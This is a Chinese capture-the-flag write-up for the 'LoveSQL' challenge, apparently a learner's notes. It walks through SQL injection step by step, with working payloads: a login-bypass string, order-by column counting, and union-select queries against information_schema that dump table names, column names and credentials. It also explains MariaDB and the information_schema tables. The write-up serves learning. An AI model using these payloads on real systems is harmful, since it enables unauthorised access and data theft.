【SQL注入】[极客大挑战 2019]LoveSQL---爆库、爆表、爆字段---day02
一、界面
先正经输个账号密码,回显:
这里补充一下mariaDB是什么玩意:
MariaDB数据库管理系统是MySQL的一个分支,主要由开源社区在维护,采用GPL授权许可 MariaDB的目的是完全兼容MySQL,包括API和命令行,使之能轻松成为MySQL的代替品。
二、思路
1、输入单引号'测试
报错,可能存在注入点。
2、尝试一下万能密码
username=admin' or '1'='1&password=admin' or '1'='1
URL搞就行
给了一串密码,看起来像md5,尝试去解密,解密不出来,想别的办法吧。
3、查询字段数
check.php?username=admin' order by 4%23&password=admin' or '1'='1
说明有3个字段。
4、union联合查询测试注入点(回显点)
现在可以知道回显的点位为2和3,查询数据库名字和版本信息。
username=1' union select 1,database(),version()%23password=1
5、爆表:
username=1' union select 1,2,group_concat(table_name) from information_schema.tables where table_schema=database()%23&password=1
结果:
知识点:
①group_concat()函数用法
②MySQL中的Information_schema数据库
参考文章:
https://blog.csdn.net/kikajack/article/details/80065753
information_schema 数据库跟 performance_schema 一样,都是 MySQL 自带的信息数据库。其中 performance_schema 用于性能分析,而 information_schema 用于存储数据库元数据(关于数据的数据),例如数据库名、表名、列的数据类型、访问权限等。
本地phpstudy中mysql命令行测试:
SCHEMATA表:
展示当前mysql实例中所有数据库的信息。命令:
show databases;
就是从这个表中获取数据
TABLES表:
存储数据库中的表信息(包括视图),包括表属于哪个数据库,表的类型、存储引擎、创建时间等信息。
SHOW TABLES FROM XX;
命令从这个表获取结果。
COLUMNS表:
存储表中的列信息,包括表有多少列、每个列的类型等。
SHOW COLUMNS FROM schemaname.tablename;
命令从这个表获取结果。
6、爆字段:
username=1' union select 1,2,group_concat(column_name) from information_schema.columns where table_schema=database() and table_name='l0ve1ysq1'%23&password=1
结果:
爆出3个字段。
7、爆数据
username=1' union select 1,2,group_concat(id,username,password) from l0ve1ysq1%23&password=1
得到flag:
三、总结
通过这道题,理了一下SQL注入的思路。并且学习了一些SQL的基础知识,group_concat()函数的作用,还有information_schema表的运用。